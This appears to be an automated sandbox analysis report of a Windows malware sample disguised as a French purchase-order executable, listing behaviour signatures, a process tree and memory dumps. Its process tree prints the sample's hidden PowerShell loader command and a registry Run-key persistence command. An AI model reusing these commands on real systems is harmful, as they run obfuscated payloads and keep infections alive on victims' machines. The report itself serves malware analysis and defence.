Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
26/04/2024, 05:43
General
- Target Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe
- Size 548KB
- Sample240426-genf2aae37
- SHA256 39e37a6736984b617a47818ffdbd202199c75f769821d4939f1d61dff621098d
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe"C:\Users\Admin\AppData\Local\Temp\Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Interlucent=Get-Content 'C:\Users\Admin\AppData\Local\salpetersyrefabrikkers\occupying\Nonsynoptic168\unvolubly\Langtrkkendes\Pelletising.Art';$Sciography=$Interlucent.SubString(57898,3);.$Sciography($Interlucent)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"3⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Emraud" /t REG_EXPAND_SZ /d "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\Somervillite\').Efs;%Skraastillinger% ($Boplskommunens)"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Emraud" /t REG_EXPAND_SZ /d "%Skraastillinger% -windowstyle minimized $Boplskommunens=(Get-ItemProperty -Path 'HKCU:\Somervillite\').Efs;%Skraastillinger% ($Boplskommunens)"5⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1036 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_sa2a3inb.j2x.ps1
Pelletising.Art
Raciality.Fly
memory/3108-73-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-72-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-94-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-93-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-92-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-90-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-89-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-88-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-87-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-86-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-85-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-84-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-83-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-82-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-81-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-80-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-79-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-52-0x0000000002060000-0x000000000768F000-memory.dmp
memory/3108-78-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-75-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-74-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-66-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-71-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-70-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-69-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-43-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-45-0x00000000779D1000-0x0000000077AF1000-memory.dmp
memory/3108-44-0x0000000077A58000-0x0000000077A59000-memory.dmp
memory/3108-54-0x00000000779D1000-0x0000000077AF1000-memory.dmp
memory/3108-55-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-56-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-57-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-68-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-59-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-67-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-60-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-61-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-62-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-63-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-64-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3108-65-0x0000000000E00000-0x0000000002054000-memory.dmp
memory/3296-58-0x0000000074050000-0x0000000074800000-memory.dmp
memory/3296-34-0x0000000007D00000-0x0000000007D04000-memory.dmp
memory/3296-9-0x0000000006030000-0x0000000006052000-memory.dmp
memory/3296-42-0x00000000779D1000-0x0000000077AF1000-memory.dmp
memory/3296-41-0x00000000092F0000-0x000000000E91F000-memory.dmp
memory/3296-40-0x00000000052C0000-0x00000000052D0000-memory.dmp
memory/3296-39-0x00000000052C0000-0x00000000052D0000-memory.dmp
memory/3296-5-0x0000000074050000-0x0000000074800000-memory.dmp
memory/3296-38-0x00000000052C0000-0x00000000052D0000-memory.dmp
memory/3296-36-0x00000000052C0000-0x00000000052D0000-memory.dmp
memory/3296-35-0x0000000074050000-0x0000000074800000-memory.dmp
memory/3296-6-0x00000000052C0000-0x00000000052D0000-memory.dmp
memory/3296-32-0x00000000052C0000-0x00000000052D0000-memory.dmp
memory/3296-30-0x0000000008C70000-0x00000000092EA000-memory.dmp
memory/3296-7-0x00000000051F0000-0x0000000005226000-memory.dmp
memory/3296-28-0x0000000008040000-0x00000000085E4000-memory.dmp
memory/3296-27-0x0000000006D50000-0x0000000006D72000-memory.dmp
memory/3296-26-0x0000000006D00000-0x0000000006D1A000-memory.dmp
memory/3296-25-0x00000000077A0000-0x0000000007836000-memory.dmp
memory/3296-24-0x00000000052C0000-0x00000000052D0000-memory.dmp
memory/3296-23-0x0000000006C50000-0x0000000006C9C000-memory.dmp
memory/3296-22-0x0000000006800000-0x000000000681E000-memory.dmp
memory/3296-17-0x0000000006220000-0x0000000006574000-memory.dmp
memory/3296-8-0x0000000005900000-0x0000000005F28000-memory.dmp
memory/3296-11-0x00000000061B0000-0x0000000006216000-memory.dmp
memory/3296-10-0x00000000060D0000-0x0000000006136000-memory.dmp